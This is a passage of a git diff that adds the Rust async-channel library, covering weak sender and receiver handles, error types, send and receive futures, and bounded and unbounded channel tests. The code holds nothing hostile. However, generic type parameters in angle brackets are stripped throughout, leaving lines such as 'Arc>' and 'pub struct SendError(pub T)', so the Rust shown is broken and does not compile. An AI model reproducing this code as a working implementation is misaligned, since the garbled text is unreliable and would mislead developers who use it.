[`Sender`] through the `upgrade` method. +pub struct WeakSender { + channel: Arc>, +} + +impl WeakSender { + /// Upgrade the [`WeakSender`] into a [`Sender`]. + pub fn upgrade(&self) -> Option> { + if self.channel.queue.is_closed() { + None + } else { + match self.channel.sender_count.fetch_update( + Ordering::Relaxed, + Ordering::Relaxed, + |count| if count == 0 { None } else { Some(count + 1) }, + ) { + Err(_) => None, + Ok(new_value) if new_value > usize::MAX / 2 => { + // Make sure the count never overflows, even if lots of sender clones are leaked. + abort(); + } + Ok(_) => Some(Sender { + channel: self.channel.clone(), + }), + } + } + } +} + +impl Clone for WeakSender { + fn clone(&self) -> Self { + WeakSender { + channel: self.channel.clone(), + } + } +} + +impl fmt::Debug for WeakSender { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "WeakSender {{ .. }}") + } +} + +/// A [`Receiver`] that does not prevent the channel from being closed. +/// +/// This is created through the [`Receiver::downgrade`] method. In order to use it, it needs +/// to be upgraded into a [`Receiver`] through the `upgrade` method. +pub struct WeakReceiver { + channel: Arc>, +} + +impl WeakReceiver { + /// Upgrade the [`WeakReceiver`] into a [`Receiver`]. + pub fn upgrade(&self) -> Option> { + if self.channel.queue.is_closed() { + None + } else { + match self.channel.receiver_count.fetch_update( + Ordering::Relaxed, + Ordering::Relaxed, + |count| if count == 0 { None } else { Some(count + 1) }, + ) { + Err(_) => None, + Ok(new_value) if new_value > usize::MAX / 2 => { + // Make sure the count never overflows, even if lots of receiver clones are leaked. + abort(); + } + Ok(_) => Some(Receiver { + channel: self.channel.clone(), + listener: None, + _pin: PhantomPinned, + }), + } + } + } +} + +impl Clone for WeakReceiver { + fn clone(&self) -> Self { + WeakReceiver { + channel: self.channel.clone(), + } + } +} + +impl fmt::Debug for WeakReceiver { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "WeakReceiver {{ .. }}") + } +} + +/// An error returned from [`Sender::send()`]. +/// +/// Received because the channel is closed. +#[derive(PartialEq, Eq, Clone, Copy)] +pub struct SendError(pub T); + +impl SendError { + /// Unwraps the message that couldn't be sent. + pub fn into_inner(self) -> T { + self.0 + } +} + +#[cfg(feature = "std")] +impl std::error::Error for SendError {} + +impl fmt::Debug for SendError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "SendError(..)") + } +} + +impl fmt::Display for SendError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "sending into a closed channel") + } +} + +/// An error returned from [`Sender::try_send()`]. +#[derive(PartialEq, Eq, Clone, Copy)] +pub enum TrySendError { + /// The channel is full but not closed. + Full(T), + + /// The channel is closed. + Closed(T), +} + +impl TrySendError { + /// Unwraps the message that couldn't be sent. + pub fn into_inner(self) -> T { + match self { + TrySendError::Full(t) => t, + TrySendError::Closed(t) => t, + } + } + + /// Returns `true` if the channel is full but not closed. + pub fn is_full(&self) -> bool { + match self { + TrySendError::Full(_) => true, + TrySendError::Closed(_) => false, + } + } + + /// Returns `true` if the channel is closed. + pub fn is_closed(&self) -> bool { + match self { + TrySendError::Full(_) => false, + TrySendError::Closed(_) => true, + } + } +} + +#[cfg(feature = "std")] +impl std::error::Error for TrySendError {} + +impl fmt::Debug for TrySendError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match *self { + TrySendError::Full(..) => write!(f, "Full(..)"), + TrySendError::Closed(..) => write!(f, "Closed(..)"), + } + } +} + +impl fmt::Display for TrySendError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match *self { + TrySendError::Full(..) => write!(f, "sending into a full channel"), + TrySendError::Closed(..) => write!(f, "sending into a closed channel"), + } + } +} + +/// An error returned from [`Receiver::recv()`]. +/// +/// Received because the channel is empty and closed. +#[derive(PartialEq, Eq, Clone, Copy, Debug)] +pub struct RecvError; + +#[cfg(feature = "std")] +impl std::error::Error for RecvError {} + +impl fmt::Display for RecvError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "receiving from an empty and closed channel") + } +} + +/// An error returned from [`Receiver::try_recv()`]. +#[derive(PartialEq, Eq, Clone, Copy, Debug)] +pub enum TryRecvError { + /// The channel is empty but not closed. + Empty, + + /// The channel is empty and closed. + Closed, +} + +impl TryRecvError { + /// Returns `true` if the channel is empty but not closed. + pub fn is_empty(&self) -> bool { + match self { + TryRecvError::Empty => true, + TryRecvError::Closed => false, + } + } + + /// Returns `true` if the channel is empty and closed. + pub fn is_closed(&self) -> bool { + match self { + TryRecvError::Empty => false, + TryRecvError::Closed => true, + } + } +} + +#[cfg(feature = "std")] +impl std::error::Error for TryRecvError {} + +impl fmt::Display for TryRecvError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match *self { + TryRecvError::Empty => write!(f, "receiving from an empty channel"), + TryRecvError::Closed => write!(f, "receiving from an empty and closed channel"), + } + } +} + +easy_wrapper! { + /// A future returned by [`Sender::send()`]. + #[derive(Debug)] + #[must_use = "futures do nothing unless you `.await` or poll them"] + pub struct Send<'a, T>(SendInner<'a, T> => Result<(), SendError>); + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub(crate) wait(); +} + +pin_project! { + #[derive(Debug)] + #[project(!Unpin)] + struct SendInner<'a, T> { + // Reference to the original sender. + sender: &'a Sender, + + // The message to send. + msg: Option, + + // Listener waiting on the channel. + listener: Option, + + // Keeping this type `!Unpin` enables future optimizations. + #[pin] + _pin: PhantomPinned + } +} + +impl EventListenerFuture for SendInner<'_, T> { + type Output = Result<(), SendError>; + + /// Run this future with the given `Strategy`. + fn poll_with_strategy<'x, S: Strategy<'x>>( + self: Pin<&mut Self>, + strategy: &mut S, + context: &mut S::Context, + ) -> Poll>> { + let this = self.project(); + + loop { + let msg = this.msg.take().unwrap(); + // Attempt to send a message. + match this.sender.try_send(msg) { + Ok(()) => return Poll::Ready(Ok(())), + Err(TrySendError::Closed(msg)) => return Poll::Ready(Err(SendError(msg))), + Err(TrySendError::Full(m)) => *this.msg = Some(m), + } + + // Sending failed - now start listening for notifications or wait for one. + if this.listener.is_some() { + // Poll using the given strategy + ready!(S::poll(strategy, &mut *this.listener, context)); + } else { + *this.listener = Some(this.sender.channel.send_ops.listen()); + } + } + } +} + +easy_wrapper! { + /// A future returned by [`Receiver::recv()`]. + #[derive(Debug)] + #[must_use = "futures do nothing unless you `.await` or poll them"] + pub struct Recv<'a, T>(RecvInner<'a, T> => Result); + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub(crate) wait(); +} + +pin_project! { + #[derive(Debug)] + #[project(!Unpin)] + struct RecvInner<'a, T> { + // Reference to the receiver. + receiver: &'a Receiver, + + // Listener waiting on the channel. + listener: Option, + + // Keeping this type `!Unpin` enables future optimizations. + #[pin] + _pin: PhantomPinned + } +} + +impl EventListenerFuture for RecvInner<'_, T> { + type Output = Result; + + /// Run this future with the given `Strategy`. + fn poll_with_strategy<'x, S: Strategy<'x>>( + self: Pin<&mut Self>, + strategy: &mut S, + cx: &mut S::Context, + ) -> Poll> { + let this = self.project(); + + loop { + // Attempt to receive a message. + match this.receiver.try_recv() { + Ok(msg) => return Poll::Ready(Ok(msg)), + Err(TryRecvError::Closed) => return Poll::Ready(Err(RecvError)), + Err(TryRecvError::Empty) => {} + } + + // Receiving failed - now start listening for notifications or wait for one. + if this.listener.is_some() { + // Poll using the given strategy + ready!(S::poll(strategy, &mut *this.listener, cx)); + } else { + *this.listener = Some(this.receiver.channel.recv_ops.listen()); + } + } + } +} + +easy_wrapper! { + /// A future returned by [`Sender::closed()`]. + #[derive(Debug)] + #[must_use = "futures do nothing unless you `.await` or poll them"] + pub struct Closed<'a, T>(ClosedInner<'a, T> => ()); + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub(crate) wait(); +} + +pin_project! { + #[derive(Debug)] + #[project(!Unpin)] + struct ClosedInner<'a, T> { + // Reference to the sender. + sender: &'a Sender, + + // Listener waiting on the channel. + listener: Option, + + // Keeping this type `!Unpin` enables future optimizations. + #[pin] + _pin: PhantomPinned + } +} + +impl<'a, T> EventListenerFuture for ClosedInner<'a, T> { + type Output = (); + + /// Run this future with the given `Strategy`. + fn poll_with_strategy<'x, S: Strategy<'x>>( + self: Pin<&mut Self>, + strategy: &mut S, + cx: &mut S::Context, + ) -> Poll<()> { + let this = self.project(); + + loop { + // Check if the channel is closed. + if this.sender.is_closed() { + return Poll::Ready(()); + } + + // Not closed - now start listening for notifications or wait for one. + if this.listener.is_some() { + // Poll using the given strategy + ready!(S::poll(strategy, &mut *this.listener, cx)); + } else { + *this.listener = Some(this.sender.channel.closed_ops.listen()); + } + } + } +} + +#[cfg(feature = "std")] +use std::process::abort; + +#[cfg(not(feature = "std"))] +fn abort() -> ! { + struct PanicOnDrop; + + impl Drop for PanicOnDrop { + fn drop(&mut self) { + panic!("Panic while panicking to abort"); + } + } + + let _bomb = PanicOnDrop; + panic!("Panic while panicking to abort") +} diff --git a/lib/malio/async-channel/tests/bounded.rs b/lib/malio/async-channel/tests/bounded.rs new file mode 100644 index 0000000..25b01f0 --- /dev/null +++ b/lib/malio/async-channel/tests/bounded.rs @@ -0,0 +1,552 @@ +#![allow(clippy::bool_assert_comparison, unused_imports)] + +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::thread::sleep; +use std::time::Duration; + +use async_channel::{bounded, RecvError, SendError, TryRecvError, TrySendError}; +use easy_parallel::Parallel; +use futures_lite::{future, prelude::*}; + +#[cfg(target_family = "wasm")] +use wasm_bindgen_test::wasm_bindgen_test as test; + +#[cfg(not(target_family = "wasm"))] +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn smoke() { + let (s, r) = bounded(1); + + future::block_on(s.send(7)).unwrap(); + assert_eq!(r.try_recv(), Ok(7)); + + future::block_on(s.send(8)).unwrap(); + assert_eq!(future::block_on(r.recv()), Ok(8)); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +} + +#[cfg(all(feature = "std", not(target_family = "wasm")))] +#[test] +fn smoke_blocking() { + let (s, r) = bounded(1); + + s.send_blocking(7).unwrap(); + assert_eq!(r.try_recv(), Ok(7)); + + s.send_blocking(8).unwrap(); + assert_eq!(future::block_on(r.recv()), Ok(8)); + + future::block_on(s.send(9)).unwrap(); + assert_eq!(r.recv_blocking(), Ok(9)); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +} + +#[test] +fn capacity() { + for i in 1..10 { + let (s, r) = bounded::<()>(i); + assert_eq!(s.capacity(), Some(i)); + assert_eq!(r.capacity(), Some(i)); + } +} + +#[test] +fn len_empty_full() { + let (s, r) = bounded(2); + + assert_eq!(s.len(), 0); + assert_eq!(s.is_empty(), true); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 0); + assert_eq!(r.is_empty(), true); + assert_eq!(r.is_full(), false); + + future::block_on(s.send(())).unwrap(); + + assert_eq!(s.len(), 1); + assert_eq!(s.is_empty(), false); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 1); + assert_eq!(r.is_empty(), false); + assert_eq!(r.is_full(), false); + + future::block_on(s.send(())).unwrap(); + + assert_eq!(s.len(), 2); + assert_eq!(s.is_empty(), false); + assert_eq!(s.is_full(), true); + assert_eq!(r.len(), 2); + assert_eq!(r.is_empty(), false); + assert_eq!(r.is_full(), true); + + future::block_on(r.recv()).unwrap(); + + assert_eq!(s.len(), 1); + assert_eq!(s.is_empty(), false); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 1); + assert_eq!(r.is_empty(), false); + assert_eq!(r.is_full(), false); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn try_recv() { + let (s, r) = bounded(100); + + Parallel::new() + .add(move || { + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + sleep(ms(1500)); + assert_eq!(r.try_recv(), Ok(7)); + sleep(ms(500)); + assert_eq!(r.try_recv(), Err(TryRecvError::Closed)); + }) + .add(move || { + sleep(ms(1000)); + future::block_on(s.send(7)).unwrap(); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn recv() { + let (s, r) = bounded(100); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(r.recv()), Ok(7)); + sleep(ms(1000)); + assert_eq!(future::block_on(r.recv()), Ok(8)); + sleep(ms(1000)); + assert_eq!(future::block_on(r.recv()), Ok(9)); + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + sleep(ms(1500)); + future::block_on(s.send(7)).unwrap(); + future::block_on(s.send(8)).unwrap(); + future::block_on(s.send(9)).unwrap(); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn try_send() { + let (s, r) = bounded(1); + + Parallel::new() + .add(move || { + assert_eq!(s.try_send(1), Ok(())); + assert_eq!(s.try_send(2), Err(TrySendError::Full(2))); + sleep(ms(1500)); + assert_eq!(s.try_send(3), Ok(())); + sleep(ms(500)); + assert_eq!(s.try_send(4), Err(TrySendError::Closed(4))); + }) + .add(move || { + sleep(ms(1000)); + assert_eq!(r.try_recv(), Ok(1)); + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + assert_eq!(future::block_on(r.recv()), Ok(3)); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn send() { + let (s, r) = bounded(1); + + Parallel::new() + .add(|| { + future::block_on(s.send(7)).unwrap(); + sleep(ms(1000)); + future::block_on(s.send(8)).unwrap(); + sleep(ms(1000)); + future::block_on(s.send(9)).unwrap(); + sleep(ms(1000)); + future::block_on(s.send(10)).unwrap(); + }) + .add(|| { + sleep(ms(1500)); + assert_eq!(future::block_on(r.recv()), Ok(7)); + assert_eq!(future::block_on(r.recv()), Ok(8)); + assert_eq!(future::block_on(r.recv()), Ok(9)); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn closed() { + let (s, r) = bounded(1); + + Parallel::new() + .add(|| { + future::block_on(s.send(7)).unwrap(); + let before = s.closed(); + let mut before = std::pin::pin!(before); + assert!(future::block_on(future::poll_once(&mut before)).is_none()); + sleep(ms(1000)); + assert_eq!(future::block_on(future::poll_once(before)), Some(())); + assert_eq!(future::block_on(future::poll_once(s.closed())), Some(())); + }) + .add(|| { + assert_eq!(future::block_on(r.recv()), Ok(7)); + sleep(ms(500)); + drop(r); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn force_send() { + let (s, r) = bounded(1); + + Parallel::new() + .add(|| { + s.force_send(7).unwrap(); + sleep(ms(1000)); + s.force_send(8).unwrap(); + sleep(ms(1000)); + s.force_send(9).unwrap(); + sleep(ms(1000)); + s.force_send(10).unwrap(); + }) + .add(|| { + sleep(ms(1500)); + assert_eq!(future::block_on(r.recv()), Ok(8)); + assert_eq!(future::block_on(r.recv()), Ok(9)); + assert_eq!(future::block_on(r.recv()), Ok(10)); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn send_after_close() { + let (s, r) = bounded(100); + + future::block_on(s.send(1)).unwrap(); + future::block_on(s.send(2)).unwrap(); + future::block_on(s.send(3)).unwrap(); + + drop(r); + + assert_eq!(future::block_on(s.send(4)), Err(SendError(4))); + assert_eq!(s.try_send(5), Err(TrySendError::Closed(5))); + assert_eq!(future::block_on(s.send(6)), Err(SendError(6))); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn recv_after_close() { + let (s, r) = bounded(100); + + future::block_on(s.send(1)).unwrap(); + future::block_on(s.send(2)).unwrap(); + future::block_on(s.send(3)).unwrap(); + + drop(s); + + assert_eq!(future::block_on(r.recv()), Ok(1)); + assert_eq!(future::block_on(r.recv()), Ok(2)); + assert_eq!(future::block_on(r.recv()), Ok(3)); + assert_eq!(future::block_on(r.recv()), Err(RecvError)); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn len() { + const COUNT: usize = 25_000; + const CAP: usize = 1000; + + let (s, r) = bounded(CAP); + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); + + for _ in 0..CAP / 10 { + for i in 0..50 { + future::block_on(s.send(i)).unwrap(); + assert_eq!(s.len(), i + 1); + } + + for i in 0..50 { + future::block_on(r.recv()).unwrap(); + assert_eq!(r.len(), 50 - i - 1); + } + } + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); + + for i in 0..CAP { + future::block_on(s.send(i)).unwrap(); + assert_eq!(s.len(), i + 1); + } + + for _ in 0..CAP { + future::block_on(r.recv()).unwrap(); + } + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); + + Parallel::new() + .add(|| { + for i in 0..COUNT { + assert_eq!(future::block_on(r.recv()), Ok(i)); + let len = r.len(); + assert!(len <= CAP); + } + }) + .add(|| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + let len = s.len(); + assert!(len <= CAP); + } + }) + .run(); + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); +} + +#[test] +fn receiver_count() { + let (s, r) = bounded::<()>(5); + let receiver_clones: Vec<_> = (0..20).map(|_| r.clone()).collect(); + + assert_eq!(s.receiver_count(), 21); + assert_eq!(r.receiver_count(), 21); + + drop(receiver_clones); + + assert_eq!(s.receiver_count(), 1); + assert_eq!(r.receiver_count(), 1); +} + +#[test] +fn sender_count() { + let (s, r) = bounded::<()>(5); + let sender_clones: Vec<_> = (0..20).map(|_| s.clone()).collect(); + + assert_eq!(s.sender_count(), 21); + assert_eq!(r.sender_count(), 21); + + drop(sender_clones); + + assert_eq!(s.receiver_count(), 1); + assert_eq!(r.receiver_count(), 1); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn close_wakes_sender() { + let (s, r) = bounded(1); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(s.send(())), Ok(())); + assert_eq!(future::block_on(s.send(())), Err(SendError(()))); + }) + .add(move || { + sleep(ms(1000)); + drop(r); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn close_wakes_receiver() { + let (s, r) = bounded::<()>(1); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + sleep(ms(1000)); + drop(s); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn forget_blocked_sender() { + let (s1, r) = bounded(2); + let s2 = s1.clone(); + + Parallel::new() + .add(move || { + assert!(future::block_on(s1.send(3)).is_ok()); + assert!(future::block_on(s1.send(7)).is_ok()); + let s1_fut = s1.send(13); + futures_lite::pin!(s1_fut); + // Poll but keep the future alive. + assert_eq!(future::block_on(future::poll_once(s1_fut)), None); + sleep(ms(500)); + }) + .add(move || { + sleep(ms(100)); + assert!(future::block_on(s2.send(42)).is_ok()); + }) + .add(move || { + sleep(ms(200)); + assert_eq!(future::block_on(r.recv()), Ok(3)); + assert_eq!(future::block_on(r.recv()), Ok(7)); + sleep(ms(100)); + assert_eq!(r.try_recv(), Ok(42)); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn forget_blocked_receiver() { + let (s, r1) = bounded(2); + let r2 = r1.clone(); + + Parallel::new() + .add(move || { + let r1_fut = r1.recv(); + // Poll but keep the future alive. + futures_lite::pin!(r1_fut); + assert_eq!(future::block_on(future::poll_once(&mut r1_fut)), None); + sleep(ms(500)); + }) + .add(move || { + sleep(ms(100)); + assert_eq!(future::block_on(r2.recv()), Ok(3)); + }) + .add(move || { + sleep(ms(200)); + assert!(future::block_on(s.send(3)).is_ok()); + assert!(future::block_on(s.send(7)).is_ok()); + sleep(ms(100)); + assert!(s.try_send(42).is_ok()); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn spsc() { + const COUNT: usize = 100_000; + + let (s, r) = bounded(3); + + Parallel::new() + .add(move || { + for i in 0..COUNT { + assert_eq!(future::block_on(r.recv()), Ok(i)); + } + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn mpmc() { + const COUNT: usize = 25_000; + const THREADS: usize = 4; + + let (s, r) = bounded::(3); + let v = (0..COUNT).map(|_| AtomicUsize::new(0)).collect::>(); + + Parallel::new() + .each(0..THREADS, |_| { + for _ in 0..COUNT { + let n = future::block_on(r.recv()).unwrap(); + v[n].fetch_add(1, Ordering::SeqCst); + } + }) + .each(0..THREADS, |_| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); + + for c in v { + assert_eq!(c.load(Ordering::SeqCst), THREADS); + } +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn mpmc_stream() { + const COUNT: usize = 25_000; + const THREADS: usize = 4; + + let (s, r) = bounded::(3); + let v = (0..COUNT).map(|_| AtomicUsize::new(0)).collect::>(); + let v = &v; + + Parallel::new() + .each(0..THREADS, { + let r = r; + move |_| { + futures_lite::pin!(r); + for _ in 0..COUNT { + let n = future::block_on(r.next()).unwrap(); + v[n].fetch_add(1, Ordering::SeqCst); + } + } + }) + .each(0..THREADS, |_| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); + + for c in v { + assert_eq!(c.load(Ordering::SeqCst), THREADS); + } +} + +#[cfg(all(feature = "std", not(target_family = "wasm")))] +#[test] +fn weak() { + let (s, r) = bounded::(3); + + // Create a weak sender/receiver pair. + let (weak_s, weak_r) = (s.downgrade(), r.downgrade()); + + // Upgrade and send. + { + let s = weak_s.upgrade().unwrap(); + s.send_blocking(3).unwrap(); + let r = weak_r.upgrade().unwrap(); + assert_eq!(r.recv_blocking(), Ok(3)); + } + + // Drop the original sender/receiver pair. + drop((s, r)); + + // Try to upgrade again. + { + assert!(weak_s.upgrade().is_none()); + assert!(weak_r.upgrade().is_none()); + } +} diff --git a/lib/malio/async-channel/tests/unbounded.rs b/lib/malio/async-channel/tests/unbounded.rs new file mode 100644 index 0000000..90cb375 --- /dev/null +++ b/lib/malio/async-channel/tests/unbounded.rs @@ -0,0 +1,356 @@ +#![allow(clippy::bool_assert_comparison, unused_imports)] + +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::thread::sleep; +use std::time::Duration; + +use async_channel::{unbounded, RecvError, SendError, TryRecvError, TrySendError}; +use easy_parallel::Parallel; +use futures_lite::{future, prelude::*}; + +#[cfg(target_family = "wasm")] +use wasm_bindgen_test::wasm_bindgen_test as test; + +#[cfg(not(target_family = "wasm"))] +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn smoke() { + let (s, r) = unbounded(); + + s.try_send(7).unwrap(); + assert_eq!(r.try_recv(), Ok(7)); + + future::block_on(s.send(8)).unwrap(); + assert_eq!(future::block_on(r.recv()), Ok(8)); + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +} + +#[cfg(all(feature = "std", not(target_family = "wasm")))] +#[test] +fn smoke_blocking() { + let (s, r) = unbounded(); + + s.send_blocking(7).unwrap(); + assert_eq!(r.try_recv(), Ok(7)); + + s.send_blocking(8).unwrap(); + assert_eq!(future::block_on(r.recv()), Ok(8)); + + future::block_on(s.send(9)).unwrap(); + assert_eq!(r.recv_blocking(), Ok(9)); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +} + +#[test] +fn capacity() { + let (s, r) = unbounded::<()>(); + assert_eq!(s.capacity(), None); + assert_eq!(r.capacity(), None); +} + +#[test] +fn len_empty_full() { + let (s, r) = unbounded(); + + assert_eq!(s.len(), 0); + assert_eq!(s.is_empty(), true); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 0); + assert_eq!(r.is_empty(), true); + assert_eq!(r.is_full(), false); + + future::block_on(s.send(())).unwrap(); + + assert_eq!(s.len(), 1); + assert_eq!(s.is_empty(), false); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 1); + assert_eq!(r.is_empty(), false); + assert_eq!(r.is_full(), false); + + future::block_on(r.recv()).unwrap(); + + assert_eq!(s.len(), 0); + assert_eq!(s.is_empty(), true); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 0); + assert_eq!(r.is_empty(), true); + assert_eq!(r.is_full(), false); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn try_recv() { + let (s, r) = unbounded(); + + Parallel::new() + .add(move || { + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + sleep(ms(1500)); + assert_eq!(r.try_recv(), Ok(7)); + sleep(ms(500)); + assert_eq!(r.try_recv(), Err(TryRecvError::Closed)); + }) + .add(move || { + sleep(ms(1000)); + future::block_on(s.send(7)).unwrap(); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn recv() { + let (s, r) = unbounded(); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(r.recv()), Ok(7)); + sleep(ms(1000)); + assert_eq!(future::block_on(r.recv()), Ok(8)); + sleep(ms(1000)); + assert_eq!(future::block_on(r.recv()), Ok(9)); + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + sleep(ms(1500)); + future::block_on(s.send(7)).unwrap(); + future::block_on(s.send(8)).unwrap(); + future::block_on(s.send(9)).unwrap(); + }) + .run(); +} + +#[test] +fn try_send() { + let (s, r) = unbounded(); + for i in 0..1000 { + assert_eq!(s.try_send(i), Ok(())); + } + + drop(r); + assert_eq!(s.try_send(777), Err(TrySendError::Closed(777))); +} + +#[test] +fn send() { + let (s, r) = unbounded(); + for i in 0..1000 { + assert_eq!(future::block_on(s.send(i)), Ok(())); + } + + drop(r); + assert_eq!(future::block_on(s.send(777)), Err(SendError(777))); +} + +#[test] +fn send_after_close() { + let (s, r) = unbounded(); + + future::block_on(s.send(1)).unwrap(); + future::block_on(s.send(2)).unwrap(); + future::block_on(s.send(3)).unwrap(); + + drop(r); + + assert_eq!(future::block_on(s.send(4)), Err(SendError(4))); + assert_eq!(s.try_send(5), Err(TrySendError::Closed(5))); +} + +#[test] +fn recv_after_close() { + let (s, r) = unbounded(); + + future::block_on(s.send(1)).unwrap(); + future::block_on(s.send(2)).unwrap(); + future::block_on(s.send(3)).unwrap(); + + drop(s); + + assert_eq!(future::block_on(r.recv()), Ok(1)); + assert_eq!(future::block_on(r.recv()), Ok(2)); + assert_eq!(future::block_on(r.recv()), Ok(3)); + assert_eq!(future::block_on(r.recv()), Err(RecvError)); +} + +#[test] +fn len() { + let (s, r) = unbounded(); + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); + + for i in 0..50 { + future::block_on(s.send(i)).unwrap(); + assert_eq!(s.len(), i + 1); + } + + for i in 0..50 { + future::block_on(r.recv()).unwrap(); + assert_eq!(r.len(), 50 - i - 1); + } + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); +} + +#[test] +fn receiver_count() { + let (s, r) = unbounded::<()>(); + let receiver_clones: Vec<_> = (0..20).map(|_| r.clone()).collect(); + + assert_eq!(s.receiver_count(), 21); + assert_eq!(r.receiver_count(), 21); + + drop(receiver_clones); + + assert_eq!(s.receiver_count(), 1); + assert_eq!(r.receiver_count(), 1); +} + +#[test] +fn sender_count() { + let (s, r) = unbounded::<()>(); + let sender_clones: Vec<_> = (0..20).map(|_| s.clone()).collect(); + + assert_eq!(s.sender_count(), 21); + assert_eq!(r.sender_count(), 21); + + drop(sender_clones); + + assert_eq!(s.receiver_count(), 1); + assert_eq!(r.receiver_count(), 1); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn close_wakes_receiver() { + let (s, r) = unbounded::<()>(); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + sleep(ms(1000)); + drop(s); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn spsc() { + const COUNT: usize = 100_000; + + let (s, r) = unbounded(); + + Parallel::new() + .add(move || { + for i in 0..COUNT { + assert_eq!(future::block_on(r.recv()), Ok(i)); + } + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn mpmc() { + const COUNT: usize = 25_000; + const THREADS: usize = 4; + + let (s, r) = unbounded::(); + let v = (0..COUNT).map(|_| AtomicUsize::new(0)).collect::>(); + + Parallel::new() + .each(0..THREADS, |_| { + for _ in 0..COUNT { + let n = future::block_on(r.recv()).unwrap(); + v[n].fetch_add(1, Ordering::SeqCst); + } + }) + .each(0..THREADS, |_| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + + for c in v { + assert_eq!(c.load(Ordering::SeqCst), THREADS); + } +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn mpmc_stream() { + const COUNT: usize = 25_000; + const THREADS: usize = 4; + + let (s, r) = unbounded::(); + let v = (0..COUNT).map(|_| AtomicUsize::new(0)).collect::>(); + let v = &v; + + Parallel::new() + .each(0..THREADS, { + let r = r.clone(); + move |_| { + futures_lite::pin!(r); + for _ in 0..COUNT { + let n = future::block_on(r.next()).unwrap(); + v[n].fetch_add(1, Ordering::SeqCst); + } + } + }) + .each(0..THREADS, |_| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + + for c in v { + assert_eq!(c.load(Ordering::SeqCst), THREADS); + } +} + +#[cfg(all(feature = "std", not(target_family = "wasm")))] +#[test] +fn weak() { + let (s, r) = unbounded::(); + + // Create a weak sender/receiver pair. + let (weak_s, weak_r) = (s.downgrade(), r.downgrade()); + + // Upgrade and send. + { + let s = 